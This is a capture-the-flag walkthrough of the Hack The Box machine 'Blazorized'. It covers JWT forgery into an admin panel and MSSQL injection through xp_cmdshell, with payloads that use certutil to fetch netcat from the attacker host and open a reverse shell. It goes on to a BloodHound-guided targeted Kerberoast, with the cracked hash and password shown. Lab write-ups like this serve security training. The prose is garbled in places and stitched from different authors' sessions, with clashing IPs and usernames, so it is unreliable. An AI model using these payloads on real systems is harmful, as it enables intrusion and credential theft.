htb-blazorized

Blazorized

Blazorized in a Windows-focused box, starting with a website written using the Blazor .NET framework. I’ll reverse a DLL that comes from the server to the browser to find a JWT secret and use it to get access to the admin panel. There I’ll abuse SQL injection to get execution and a shell. To pivot to the next user, I’ll abuse the WriteSPN privilege to perform a targeted Kerberoast attack. Then I’ll abuse permissions to write another user’s login script. Finally, I’ll abuse the GetChangesAll permission with Mimikatz to dump the hashes for the domain and get a shell as administrator.

Recon

nmap

nmap finds many open TCP ports indicative of a Windows active directory domain controller:

└─$ nmap -sC -sV 10.10.11.22 -oN blazorized.nmap
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-24 13:09 CEST
Nmap scan report for blazorized.htb (10.10.11.22)
Host is up (0.010s latency).
Not shown: 986 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Mozhar's Digital Garden
|_http-server-header: Microsoft-IIS/10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-04-24 11:09:07Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: blazorized.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
1433/tcp open  ms-sql-s      Microsoft SQL Server 2022 16.00.1115.00; RTM+
| ms-sql-ntlm-info: 
|   10.10.11.22\BLAZORIZED: 
|     Target_Name: BLAZORIZED
|     NetBIOS_Domain_Name: BLAZORIZED
|     NetBIOS_Computer_Name: DC1
|     DNS_Domain_Name: blazorized.htb
|     DNS_Computer_Name: DC1.blazorized.htb
|     DNS_Tree_Name: blazorized.htb
|_    Product_Version: 10.0.17763
|_ssl-date: 2025-04-24T11:09:16+00:00; 0s from scanner time.
| ms-sql-info: 
|   10.10.11.22\BLAZORIZED: 
|     Instance name: BLAZORIZED
|     Version: 
|       name: Microsoft SQL Server 2022 RTM+
|       number: 16.00.1115.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RTM
|       Post-SP patches applied: true
|     TCP port: 1433
|_    Clustered: false
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-04-24T11:08:25
|_Not valid after:  2055-04-24T11:08:25
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: blazorized.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-04-24T11:09:11
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.77 seconds

In addition to the typical DC ports (DNS on 53, Kerberos on 88, RPC on 135, netbios on 139, SMB on 445, LDAP on 389 and several others), there’s also a webserver on 80, MSSQL on 1433, and WinRM on 5985.

nmap also identifies a hostname, DC1.

The webserver is redirecting to blazorized.htb, indicating virtual host-based routing.

Subdomain Fuzz

Given the use of host-based routing, I’ll use ffuf to brute force any subdomains of blazorized.htb that respond differently:

puck@kali$ ffuf -u http://10.10.11.22 -H "Host: FUZZ.blazorized.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac


admin                   [Status: 200, Size: 2077, Words: 149, Lines: 28, Duration: 107ms]
:: Progress: [19966/19966] :: Job [1/1] :: 466 req/sec :: Duration: [0:00:43] :: Errors: 0 ::

It finds admin.blazorized.htb. I’ll add these to my /etc/hosts file, along with the hostname:

10.10.11.22 blazorized.htb admin.blazorized.htb dc1.blazorized.htb

SMB – TCP 445

netexec confirms the domain and hostname:

puck@kali$ netexec smb blazorized.htb
SMB         10.10.11.22     445    DC1              [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC1) (domain:blazorized.htb) (signing:True) (SMBv1:False)

I’m not able to access any share information anonymously:

puck@kali$ netexec smb blazorized.htb --shares
SMB         10.10.11.22     445    DC1              [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC1) (domain:blazorized.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.22     445    DC1              [-] IndexError: list index out of range
SMB         10.10.11.22     445    DC1              [-] Error enumerating shares: STATUS_USER_SESSION_DELETED
puck@kali$ netexec smb blazorized.htb -u guest -p '' --shares
SMB         10.10.11.22     445    DC1              [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC1) (domain:blazorized.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.22     445    DC1              [-] blazorized.htb\guest: STATUS_ACCOUNT_DISABLED 
puck@kali$ netexec smb blazorized.htb -u puck -p '' --shares
SMB         10.10.11.22     445    DC1              [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC1) (domain:blazorized.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.22     445    DC1              [-] blazorized.htb\puck: STATUS_LOGON_FAILURE 

blazorized.htb – TCP 80

Site

The site is a personal “digital garden

Check for Updates” has an interesting button describing the API:

Clicking it doesn’t do anything, but in the background I can see requests for api.blazorized.htb:

On adding that to my hosts file, it runs and three new items are added to the menu:

These have short blog posts about programming and technical fields:

See other writeups .. for more

If we run it, the script generates a token:

❯ python3 generate_JWT_token.py

eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9lbWFpbGFkZHJlc3MiOiJzdXBlcmFkbWluQGJsYXpvcml6ZWQuaHRiIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiU3VwZXJfQWRtaW4iLCJpc3MiOiJodHRwOi8vYXBpLmJsYXpvcml6ZWQuaHRiIiwiYXVkIjoiaHR0cDovL2FkbWluLmJsYXpvcml6ZWQuaHRiIiwiZXhwIjoxNzIxNjIyMTkyfQ.odLhTL_xCynUd24s78wRnyg18N1D9wF2F5jmyCBqgs8WJ3-BfhfHPrqO4h2OqFyjlFBjDy0xUX37y0dLELdefA

Just to review if this has worked, we can check the JWTposted at https://jwt.io/ .

Blazorized 8

Let’s go on. The part “audience” in a JWTshows the pages for which the JWTis intended for use. It is used to make sure that the token is only accepted by the “audience” (audience); that in this specific case it is http://admin.blazorized.htb. From maner that, based on it, we assume that the token generated is useful for the website http://admin.blazorized.htbPreviously found. Let’s also note that the duration of the token is only 60 seconds, so when generating the token we will have only 1 minute to use it (based on the variable expiration_duration_in_secondsin the script). If this doesn’t work, we must re-generate a new token.

(Another way would increase the expiration time of the token of 60a much higher value in the script, but that honestly didn’t taste it. I leave it as a task for the reader)

After generating the token, in an internet browser like FirefoxLet’s go to http://admin.blarozized.htbThen let’s go to the Storage(Ctrl + Shift + I), then Local Storageand add (clicking on the symbol +) new data to be stored. As a name (key) I put jwt, and as value (value) I put the JWTby our script of Python:

Blazorized 9

We reload the page and we’re inside:

On the left side of the page there is a search tool in Check Duplicate Post Titles. Clicking on this sample:

Blazorized 11

Let’s remember that this machine was running a service. Microsoft SQL Server(MSSQL). So this search engine may be using that service.

After trying a lot of things, and since you’re using a database. SQLWe tried some. SQL Injections. For this we started a listener by traces ICMPin our attacker machine using tcpdump:

❯ sudo tcpdump -ni tun0 icmp

Finally, one of the injections works (based on Payload AllTheThings payloads):

';exec master..xp_cmdshell "ping -n 1 10.10.14.5" --+

Blazorized 12

And we get something in our listener:

❯ sudo tcpdump -ni tun0 icmp

tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
00:52:11.744937 IP 10.10.11.22 > 10.10.16.3: ICMP echo request, id 1, seq 415, length 40
00:52:11.744948 IP 10.10.16.3 > 10.10.11.22: ICMP echo reply, id 1, seq 415, length 40

We have remote command execution.

Therefore, to send us a reverse shell, we will pass a binary of netcatfor Windowsto the victim machine. First, we started a temporary server. PythonHTTPin the port 8000in our attacker machine running:

❯ ls && python3 -m http.server 8000

generate_JWT_token.py  nc64.exe
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

We use the tool certutilon the victim machine running at the search terminal the injection:

';exec master..xp_cmdshell "C:\Windows\System32\cmd.exe /c certutil.exe -urlcache -split -f http://10.10.14.5:8000/nc64.exe C:\Users\Public\Downloads\nc.exe" --+

where 10.10.14.5It’s our attacker’s IP.

Then, on our attacker machine, we started a listener with netcatin the port 443along with rlwrap:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...

Finally, we run the binary of netcattransferred to send us a reverse shell injecting the command:

';exec master..xp_cmdshell "C:\Users\Public\Downloads\nc.exe 10.10.14.5 443 -e C:\Windows\System32\cmd.exe" --+

and we get a shell like the user nu_1055:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.22] 60850
Microsoft Windows [Version 10.0.17763.5936]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

whoami
blazorized\nu_1055

We can read the user flag in this user’s Desktop directory.


 

Shell

To get a shell, I’ll grab the PowerShell #3 (Base64) payload from revshells.com and replace ping 10.10.14.6 with that in the form:

 On sending, I get a shell as nu_1055 at nc:

puck@kali$ rlwrap -cAr nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.22 49828

PS C:\Windows\system32> whoami
blazorized\nu_1055

I’ll find user.txt on the desktop:

PS C:\users\nu_1055\desktop> type user.txt
6c6560db************************

Shell as rsa_4810

Enumeration

Home Directories

There are three non-admin users with home directories on Blazorized:

PS C:\users> ls

    Directory: C:\users

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         2/2/2024   4:13 PM                Administrator
d-----        2/25/2024   2:41 PM                NU_1055
d-r---        10/6/2021   3:46 PM                Public
d-----         2/1/2024   8:36 AM                RSA_4810
d-----        6/19/2024   8:39 AM                SSA_6010  

nu_1055 can’t access anyone else’s, and there’s nothing interesting in their home directory.

Web Data

The IIS web directories are in \inetpub:

PS C:\inetpub> ls

    Directory: C:\inetpub

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         1/9/2024   5:17 AM                custerr
d-----        6/27/2024   8:05 AM                history
d-----         1/9/2024   5:17 AM                logs
d-----         1/9/2024   5:18 AM                temp
d-----        1/18/2024   2:00 PM                wwwroot  

In wwwroot there’s a folder for each domain, as well as the web.config file that handles the virtual host-based routing:

PS C:\inetpub\wwwroot> ls

    Directory: C:\inetpub\wwwroot

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        1/21/2024   4:44 PM                Blazorized.API
d-----        2/25/2024   7:26 AM                Blazorized.DigitalGarden
d-----        2/25/2024   7:38 AM                Blazorized.DigitalGardenAdmin
-a----         1/9/2024   5:17 AM            703 iisstart.htm
-a----         1/9/2024   5:17 AM          99710 iisstart.png
-a----        1/18/2024   2:13 PM            583 web.config

The web applications are a series of compiled executables (.dll). I can come look at them if I need to, but I won’t need to in this case.

Other File System

The root of the C:\ drive has a couple interesting directories:

PS C:\> ls

    Directory: C:\

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         1/9/2024   5:17 AM                inetpub
d-----         2/1/2024   6:24 AM                Microsoft
d-----        2/25/2022  10:20 AM                PerfLogs
d-r---        6/21/2024   9:02 AM                Program Files
d-----         2/1/2024   4:34 AM                Program Files (x86)
d-----        1/16/2024   7:23 PM                SQL2022
d-----        6/19/2024  11:45 AM                Temp
d-r---        6/20/2024   7:28 AM                Users
d-----        6/21/2024   9:40 AM                Windows   

Microsoft has a file at C:\Microsoft\Windows\PowerShell\StartupProfileData-Interactive. This file shows up when PowerShell is run in an odd way, but isn’t interesting as far as exploiting the box.

SQL2022 is empty.

Bloodhound

Setup

I’m using the newer Bloodhound-CE, which runs really nicely as a Docker container. I’ll set it up with a curl command into docker compose:

puck@hkali$ curl -L https://ghst.ly/getbhce | BLOODHOUND_PORT=8888 docker compose -f - up
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   156  100   156    0     0    335      0 --:--:-- --:--:-- --:--:--   335
100  3784  100  3784    0     0   4615      0 --:--:-- --:--:-- --:--:--  4615
[+] Running 1/0
 ✔ Container blazorized-10101122-app-db-1  Running                                                                                                                                                                                       0.0s
Attaching to app-db-1, bloodhound-1, graph-db-1
graph-db-1    | Changed password for user 'neo4j'. IMPORTANT: this change will only take effect if performed before the database is started for the first time.
graph-db-1    | 2024-11-01 11:00:44.324+0000 INFO  Starting...
graph-db-1    | 2024-11-01 11:00:44.616+0000 INFO  This instance is ServerId{e9b76907} (e9b76907-bc64-4830-b858-eeb2203107ce)
graph-db-1    | 2024-11-01 11:00:45.407+0000 INFO  ======== Neo4j 4.4.38 ========
graph-db-1    | 2024-11-01 11:00:47.121+0000 INFO  Initializing system graph model for component 'security-users' with version -1 and status UNINITIALIZED
graph-db-1    | 2024-11-01 11:00:47.129+0000 INFO  Setting up initial user from `auth.ini` file: neo4j
graph-db-1    | 2024-11-01 11:00:47.129+0000 INFO  Creating new user 'neo4j' (passwordChangeRequired=false, suspended=false)
graph-db-1    | 2024-11-01 11:00:47.147+0000 INFO  Setting version for 'security-users' to 3
...[snip]...

This is the same command in the documentation except I added BLOODHOUND_PORT=8888 as by default it wants to run the webserver on 8080 where I have Burp already listening.

With only a shell and no creds for the box, I’ll need to collect Bloodhound data using something running on Blazorized. I’ve got SharpHound.exe from the above, which I’ll upload to Blazorized and run:

PS C:\programdata> wget http://10.10.14.6/SharpHound.exe -outfile SharpHound.exe
PS C:\programdata> .\SharpHound.exe -c all
2024-11-01T06:09:19.7721017-05:00|INFORMATION|This version of SharpHound is compatible with the 5.0.0 Release of BloodHound
2024-11-01T06:09:20.0220952-05:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices
2024-11-01T06:09:20.0689718-05:00|INFORMATION|Initializing SharpHound at 6:09 AM on 11/1/2024
2024-11-01T06:09:20.1158490-05:00|INFORMATION|Resolved current domain to blazorized.htb
2024-11-01T06:09:20.2564704-05:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices
2024-11-01T06:09:20.3970940-05:00|INFORMATION|Beginning LDAP search for blazorized.htb
2024-11-01T06:09:20.5064724-05:00|INFORMATION|Beginning LDAP search for blazorized.htb Configuration NC
2024-11-01T06:09:20.5377221-05:00|INFORMATION|Producer has finished, closing LDAP channel
2024-11-01T06:09:20.5377221-05:00|INFORMATION|LDAP channel closed, waiting for consumers
2024-11-01T06:09:20.5845970-05:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for BLAZORIZED.HTB
2024-11-01T06:09:20.5845970-05:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for BLAZORIZED.HTB
2024-11-01T06:09:20.9283450-05:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for BLAZORIZED.HTB
2024-11-01T06:09:21.4908447-05:00|INFORMATION|Consumers finished, closing output channel
Closing writers
2024-11-01T06:09:21.5220984-05:00|INFORMATION|Output channel closed, waiting for output task to complete
2024-11-01T06:09:21.6627215-05:00|INFORMATION|Status: 313 objects finished (+313 313)/s -- Using 37 MB RAM
2024-11-01T06:09:21.6627215-05:00|INFORMATION|Enumeration finished in 00:00:01.2861155
2024-11-01T06:09:21.7877405-05:00|INFORMATION|Saving cache with stats: 20 ID to type mappings.
 2 name to SID mappings.
 1 machine sid mappings.
 4 sid to domain mappings.
 0 global catalog mappings.
2024-11-01T06:09:21.8346081-05:00|INFORMATION|SharpHound Enumeration Completed at 6:09 AM on 11/1/2024! Happy Graphing!

The output is a zip archive:

PS C:\programdata> ls *.zip

    Directory: C:\programdata

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        11/1/2024   6:09 AM          26090 20241101060921_BloodHound.zip

I’ll start smbserver.py on my host creating a share named share:

oxdf@hacky$ smbserver.py share . -smb2support -username oxdf -password oxdf
Impacket v0.13.0.dev0+20241024.90011.835e1755 - Copyright Fortra, LLC and its affiliated companies 

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed

I’ll connect to the share from Blazorized and exfil the collection:

PS C:\programdata> net use \\10.10.14.6 /u:oxdf oxdf
The command completed successfully.
PS C:\programdata> copy *.zip \\10.10.14.6\share\

Bloodhound Targeted Kerberoast

 

Analysis

I’ll click “Explore” and get to the Bloodhound window. I’ll start by finding the user I own, nu_1055, and marking them as owned. The first thing I always look at is “Outbound Object Control”:

 

Targeted Kerberoast Background

A Service Principal Name (SPN) is a unique identifier that associates a service instance with a service account in Kerberos.

Kerberoasting is an attack where an authenticated user requests a ticket for a service by it’s SPN, and the ticket that comes back is encrypted with the password of the user associated with that service. If that password is weak, it can be broken in offline brute force.

To perform a targeted kerberoast, I’ll assign an SPN to the RSA_4810 account. Then I can request a ticket as that fake service, and get a ticket encrypted with RSA_4810’s password to crack.

The full process for performing this attack from Windows is given in the “Windows Abuse” section of the right hand panel in Bloodhound when I click on WriteSPN:

 

 

Exploit

I’ll need PowerView to run the commands above. I’ll download it to my host, server it with Python, and upload it to Blazorized. Next I’ll import it:

PS C:\programdata> . .\PowerView.ps1

Now I’ll set the SPN on the user:

PS C:\programdata> Set-DomainObject -Identity RSA_4810 -Set @{serviceprincipalname='nonexistent/BLAHBLAH'}
or PS C:\programdata> Set-ADUser -Identity RSA_4810 -Add @{ServicePrincipalName='nonexistent/BLAHBLAH'}   

And get a ticket, outputting the hash:

PS C:\programdata> Get-DomainUSer RSA_4810 | Get-DomainSPNTicket | Select-Object -ExpandProperty Hash
$krb5tgs$23$*RSA_4810$blazorized.htb$nonexistent/BLAHBLAH*$5AB431F9A16255580AC64A945C3EE2EF$AE1E3FA9D3DD4523FC011F824BEAF1ADD4B48765084C51B09AE51B988B33ADE938DCCA763FD88D3DA29D0666A0198A105921ED200782D01241117A7222C98C9717FBAEADB79DF75811F45F769CDB1F80E8A2EA73999CB894BB7CC833F7DFE752A9F61684FB39AB3E9ADA2609EB336635D7050C9A68881A8018FF5941CCFA7FE381C272CFAD3901588AA892490D2A59E3E4C4056E811AAA2E8200C686156BB78202FAC986A8C9799FC7DA0E4AF126154234420697B65115DC3116DD3958A6AF6206D483A572CC368428F8B38FB00BA17BBAB46D3CE277DB8A14D51B3AE92F8D41632EC88139A13D6A2FBD08417BC74C21ADE120E7226620A2499E98EAAF308E5EAF3430E6D82713DF5754DEA62857885455DBD482A174406DBF03681EC41AB964F6E88F77139DD0DBDD132F5F785C9BD3FD6A14D441F25380643D0B14EF8052CB89EC19244530868D3EFF7549B190319020066C31E39BE34D6481E4B4949AE8F4441AC55A0F0E35454CD82ACE715D40AA632B19B24E308571CE6AF5AB3F22CFF75792F22B07F13D6A5B65318A2C6C0FF05D193A5BB51ADF3D7568BF544960A476A62E25CBE1E88B5218479A41CB7860AE2DA50D5094F706A702C85A9290C06C7EF2E7CBC2EE40600516A5BD3933613D5154A810D47799E5BD9B3AC80DC5F3CC69128580E7F74563817AF617344533E241F310E0D42F7D057535D40481A620EE28E7E0425B860925A1C69C16B533C4D7512D2B028B5EC9A04157E3852EE934D3CFA9B88F8C4EEAF31B42350E51F10F745E9CC1AFBB1FA2D91BFAF6FB149E93BAF4E06CB9D942A3B78BD13FC2D7A5833D5B901DD197A017EB400F9434833BBA097C0D09F17B35EC84A685276C14CA6FBB5CF361B7810E1B8832FC1F2CBFF50A0E5396052957CE1D38D9C23D05733C1145A3FCFC83F077BF49BE812406246E09E23B0C85ED8C5AFD4137E9643B21F85DF26CBEE0073DD9DDA3D17178654BC8DFFEE39F1F70B48FDA4029A67B6A96AD95E6ABEDB107ED255AC8B4DB45B19296B5905FF3126C50567BDEB6825AE6CD56D9F65133EF8BB0A8C0130878E4F9EB78401D33E9462F9370AB2D3486721A0C3FB38963E166C37F69992A96C6004CBD65D08ACF9B3225EED3A753A14DB6B7D3A7547E8075E56AD5D9CAC891F907F17D0B2E1B87225A5C56B72CC67E9A161A51B60F7DF2DE55CC70D5C7B940386BBD0BFA4079F1F81FEE7B90482B307F819506028910C511890D9897BCFE96BE0FB76DD45D125A773739CA0B6A0EE76945237D8B12ECA112D43F639D690113C6681033CC62A9BAE235A1865C18C170FB3F534EF44E4BD111EF651501AAA168DD58E2F109009A0A51BEF25F96747CF60C1B32696E1F885FF90504C05E24A93A2616DE3DDACE2D2DF46DEBF36DA4BE7F1A972AD48D71863BBB35A3793683380FB61DFF44F36846A2B3EC21635CFAF9D82B23D36EC546344652FFC875D8B2E1805BECCECE6839BAAD3A58D16617F4039108C21AC3622724DEF43B68776C33CC05B5082C807C14D2350FD3BEBD62C59F6C1510D95EE441D32749696195B71D8E34AE8C90D1C7BC1FD6B2D786A72E08858E20F98483C6ECB853B2D3F6782C4BB2DB433B43E623FCFCB8B0A8ABB2D2B929A3AA6EEE6E40C950D51E9F2E9C6C7DFDED56D24D68F67A3F21AC19DA0C9450F9EB53DE59B18A9981892AD2EC9CA38D825FC26F64A4B31A0D677D9509D3DFA3B33EE4106D7AD40E02C08C97513298C1298C1414EF6BF6198335C2709CD1C5BB597F

Crack Hash

I’ll save that hash to a file on my host and pass it to hashcat:

$ hashcat rsa_4810.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt 
hashcat (v6.2.6) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

13100 | Kerberos 5, etype 23, TGS-REP | Network Protocol

NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.
...[snip]...
$krb5tgs$23$*RSA_4810$blazorized.htb$nonexistent/BLAHBLAH*$5ab431f9a16255580ac64a945c3ee2ef$ae1e3fa9d3dd4523fc011f824beaf1add4b48765084c51b09ae51b988b33ade938dcca763fd88d3da29d0666a0198a105921ed200782d01241117a7222c98c9717fbaeadb79df75811f45f769cdb1f80e8a2ea73999cb894bb7cc833f7dfe752a9f61684fb39ab3e9ada2609eb336635d7050c9a68881a8018ff5941ccfa7fe381c272cfad3901588aa892490d2a59e3e4c4056e811aaa2e8200c686156bb78202fac986a8c9799fc7da0e4af126154234420697b65115dc3116dd3958a6af6206d483a572cc368428f8b38fb00ba17bbab46d3ce277db8a14d51b3ae92f8d41632ec88139a13d6a2fbd08417bc74c21ade120e7226620a2499e98eaaf308e5eaf3430e6d82713df5754dea62857885455dbd482a174406dbf03681ec41ab964f6e88f77139dd0dbdd132f5f785c9bd3fd6a14d441f25380643d0b14ef8052cb89ec19244530868d3eff7549b190319020066c31e39be34d6481e4b4949ae8f4441ac55a0f0e35454cd82ace715d40aa632b19b24e308571ce6af5ab3f22cff75792f22b07f13d6a5b65318a2c6c0ff05d193a5bb51adf3d7568bf544960a476a62e25cbe1e88b5218479a41cb7860ae2da50d5094f706a702c85a9290c06c7ef2e7cbc2ee40600516a5bd3933613d5154a810d47799e5bd9b3ac80dc5f3cc69128580e7f74563817af617344533e241f310e0d42f7d057535d40481a620ee28e7e0425b860925a1c69c16b533c4d7512d2b028b5ec9a04157e3852ee934d3cfa9b88f8c4eeaf31b42350e51f10f745e9cc1afbb1fa2d91bfaf6fb149e93baf4e06cb9d942a3b78bd13fc2d7a5833d5b901dd197a017eb400f9434833bba097c0d09f17b35ec84a685276c14ca6fbb5cf361b7810e1b8832fc1f2cbff50a0e5396052957ce1d38d9c23d05733c1145a3fcfc83f077bf49be812406246e09e23b0c85ed8c5afd4137e9643b21f85df26cbee0073dd9dda3d17178654bc8dffee39f1f70b48fda4029a67b6a96ad95e6abedb107ed255ac8b4db45b19296b5905ff3126c50567bdeb6825ae6cd56d9f65133ef8bb0a8c0130878e4f9eb78401d33e9462f9370ab2d3486721a0c3fb38963e166c37f69992a96c6004cbd65d08acf9b3225eed3a753a14db6b7d3a7547e8075e56ad5d9cac891f907f17d0b2e1b87225a5c56b72cc67e9a161a51b60f7df2de55cc70d5c7b940386bbd0bfa4079f1f81fee7b90482b307f819506028910c511890d9897bcfe96be0fb76dd45d125a773739ca0b6a0ee76945237d8b12eca112d43f639d690113c6681033cc62a9bae235a1865c18c170fb3f534ef44e4bd111ef651501aaa168dd58e2f109009a0a51bef25f96747cf60c1b32696e1f885ff90504c05e24a93a2616de3ddace2d2df46debf36da4be7f1a972ad48d71863bbb35a3793683380fb61dff44f36846a2b3ec21635cfaf9d82b23d36ec546344652ffc875d8b2e1805beccece6839baad3a58d16617f4039108c21ac3622724def43b68776c33cc05b5082c807c14d2350fd3bebd62c59f6c1510d95ee441d32749696195b71d8e34ae8c90d1c7bc1fd6b2d786a72e08858e20f98483c6ecb853b2d3f6782c4bb2db433b43e623fcfcb8b0a8abb2d2b929a3aa6eee6e40c950d51e9f2e9c6c7dfded56d24d68f67a3f21ac19da0c9450f9eb53de59b18a9981892ad2ec9ca38d825fc26f64a4b31a0d677d9509d3dfa3b33ee4106d7ad40e02c08c97513298c1298c1414ef6bf6198335c2709cd1c5bb597f:(Ni7856Do9854Ki05Ng0005 #)
...[snip]...

It auto-detects the hash format, and in about 5 seconds finds the password “(Ni7856Do9854Ki05Ng0005 #)”.

Or we use targetedKerberoast.py -v -d 'blazorized.htb' -u 'NU_1055' -p 'Start123!'

┌──(bolke㉿bolke)-[~/targetedKerberoast]
└─$ targetedKerberoast.py -v -d 'blazorized.htb' -u 'NU_1055' -p 'Start123!' 
targetedKerberoast.py: command not found
                                                                                                                     
┌──(bolke㉿bolke)-[~/targetedKerberoast]
└─$ python3 targetedKerberoast.py -v -d 'blazorized.htb' -u 'NU_1055' -p 'Start123!'
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (RSA_4810)
$krb5tgs$23$*RSA_4810$BLAZORIZED.HTB$blazorized.htb/RSA_4810*$f783f3e82de70ef51c9ef82fd8745e2a$1488e85d10505da9b267cd082317eb6fe2b28218477dc6d996914a868235e36957649f79f9639f011c31226fafcf19a0bdb923e2d3ba3b3feb82a8d0288c8f3e0866516ee00e8723496edde12cfc920a2d10ac65bf08181b713dd22126f7229cc79634a985270003353431141bfd7822d9f3a840d0b4b5be906fad1f75d61ea33557bbf326208cd0751d6e278b312bb2578d13891beb4d84315b8b07ee868bd028d310813062fb70ed95313f90393cb41d829e5e31aac727debed362fce2fdf044af44c5adf99c0fb960d232eee822645656bc64a739f3835780f3ecae3ac154f961c9b344854ce11e01e67b6f3cf6e47ec36fc7519f84aa998353fb338fbcf4ad0b74bba773e291477ac0ace03f00903da41c3cddf623e701d8747b67fd14a31984e72d87029963ff6c0b3b612c063ae65c5b907977feff6b7d574fe70292d2725052e905f96c0f250520080b5bcd2f933001ae34ac0e2dc858c09ff19fe5c620c8458d05abfaebc554a58d939ae29ecbf188c35d602467dd03656658b586dd4871b4c6f24f951bacce026b527207ccfd60afcfbcbcda700ef0c02325361ebc52d54d75a78fe9db67e73b6e19b652f498542a37fe2a6bf55cbe494e0e21c8c3631edbcf753f0c89947640f0fe5a3cf39077051e562bf76bee7ce646c5417804be7fdb8b45f281bf53f0652803366c5d3068b27c886113e1942d07c325b7e043c4c3632a66dd9b41527a8bae37a3831be8c99db2710450e66fe473b78c6a36c527e456f584d69ee0199ddbfbd70e1e9f2bff5af0dbe07f700e8ece4cbc59496a9022ecd9a87730c7b44cf0dfe2841be12ff96d032ffda6d4344c84441790f47ad9d16a85f336ed7ab27ffee7d8a51ca9afe4f4649e6d018c22baaec504800d14818b65f189b0af2e8121fceb940648ce38efada01c1d5b6f056ad3cfd38b3bb96bbc7ae1582bcb51303665f77e53a32dc331a7e1221507e5f1ddb4a405fa230004caad0e3ad87dbd36a0977c041400b510f4ee993c32bd214018a5f02daaf24732f796cd6199aa8d46fcb14ce7f67b3efa7326bcdd1dd0c6f864d774afde7270721b3f22458e0140b764dfae91d14a2330eff38a940ad7d09660aa88113a31c535753d78c0294e017a501aed616817427b919d3a52b20286b1872ab512d2a9d06e7f1a39269543ed18fc0915e8d16658bda01a23002c9a903b6a19f49da97384e430e338679fd09dc0a74ca01301c08a7898a6b67d8a0f1f5502173202d8984dffed2213ebd8ff42592cb432cefab7bd07326069287bf386f059d08fad68d3fb6c4c93c3363528f418101d4dc6f641176229f88c0032c3136fdffefc4727385eecf6d603461d4a2f09563840fbf43a50d15107f64495901f952c0255b8e7e5a9645869f32240859a0b923f09772ab68ff50686e4c056f038ab5ce3ffeeea4f4c7f7d0afeeeab53ddb87f0a222b900e29fdc1365135a027673acfd912578145013316f2d9ee8cfcb14c0b20a084f8a12930baf53438d00e0cfe9ddad0086890d8cd3311a6f0750b9dd1366d01a4693b29cb6eba343a4e665fd01ac564dda94ab22ef33fe3fb937b470276ab883c26
                                                                                                                     
┌──(bolke㉿bolke)-[~/targetedKerberoast]

 

